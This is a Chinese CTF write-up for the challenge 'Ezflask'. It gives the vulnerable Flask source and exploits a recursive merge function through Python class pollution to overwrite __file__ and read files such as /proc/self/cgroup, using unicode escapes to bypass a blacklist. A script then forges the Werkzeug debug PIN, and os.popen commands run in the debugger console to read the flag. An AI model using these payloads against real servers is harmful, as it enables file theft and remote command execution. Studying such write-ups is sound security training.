Ezflask
源码:(因为比赛时本地测试,删掉了一段黑名单验证的代码)
import uuid from flask import Flask, request, session import json app = Flask(__name__) app.secret_key = str(uuid.uuid4()) def check(data): return True def merge(src, dst): #src是个字典,dst是个对象 for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) class user(): def __init__(self): self.username = "" self.password = "" pass def check(self, data): if self.username == data['username'] and self.password == data['password']: return True return False Users = [] @app.route('/register',methods=['POST']) def register(): if request.data: try: if not check(request.data): return "Register Failed1" data = json.loads(request.data) #将json类型转为字典类型 print(data) if "username" not in data or "password" not in data: return "Register Failed2" User = user() merge(data, User) Users.append(User) except Exception: return "Register Failed3" return "Register Success" else: return "Register Failed4" @app.route('/login',methods=['POST']) def login(): if request.data: try: data = json.loads(request.data) if "username" not in data or "password" not in data: return "Login Failed" for user in Users: if user.check(data): session["username"] = data["username"] return "Login Success" except Exception: return "Login Failed" return "Login Failed" @app.route('/',methods=['GET']) def index(): return open(__file__, "r").read() if __name__ == "__main__": app.run(host="0.0.0.0", port=5010)
看了一遍代码,除了有个merge()函数容易联想到Javascript中的原型链污染外,好像没有其他漏洞点了,百度了一下,还真有python“原型链”污染,参考链接
看完原理后,容易想到污染全局变量__file__,污染为'/flag',访问根路由就直接读出来了,当时的payload:
POST /register HTTP/1.1 Host: 21870af3-dcde-47a7-bb61-39b7f0cec901.node4.buuoj.cn:81 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/json Content-Length: 266 { "username":1, "password":2, "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : { "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : { "__file__" : "proc/self/environ" } } }
但是__file__写成'/flag'、'flag',访问根路由报错没有这个文件,猜测到flag文件名应该是个很复杂的文件名,写成'proc/self/environ'查看环境变量里也没有flag,然后就不会了。
赛后有大佬说写成'proc/1/cmdline'可以非预期读flag,看了大佬的WP后,发现是要算PIN码。大佬WP
payload:
{"username":"1","password":"1","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u005f\u005f\u0066\u0069\u006c\u0065\u005f\u005f":"/proc/self/cgroup"}}}
unicode解密后的payload:(使用unicode编码是因为json格式兼容unicode编码,可以用unicode编码绕过黑名单)
{"username":"1","password":"1","__init__":{"__globals__":{"__file__":"/proc/self/cgroup"}}}
得到一些字段后,如何算pin码可以参考大佬博客,大佬博客
算pin码脚本:
import hashlib from itertools import chain probably_public_bits = [ 'root' 'flask.app', 'Flask', '/usr/local/lib/python3.10/site-packages/flask/app.py' ] private_bits = [ '2596073883174', '96cec10d3d9307792745ec3b85c89620docker-c1408799c329584471ab10a3567a1d9bb72fb760be2fde2b60c04b9447c4f82c.scope' ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv = None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
然后进控制台import os,然后os.popen('ls /').read()得到flag文件名,然后os.popen('cat /文件名').read()就得到flag了。
ps:
flask里的request.data接受整个post传参,要写成json格式的
注意Content-Type处要改为application/json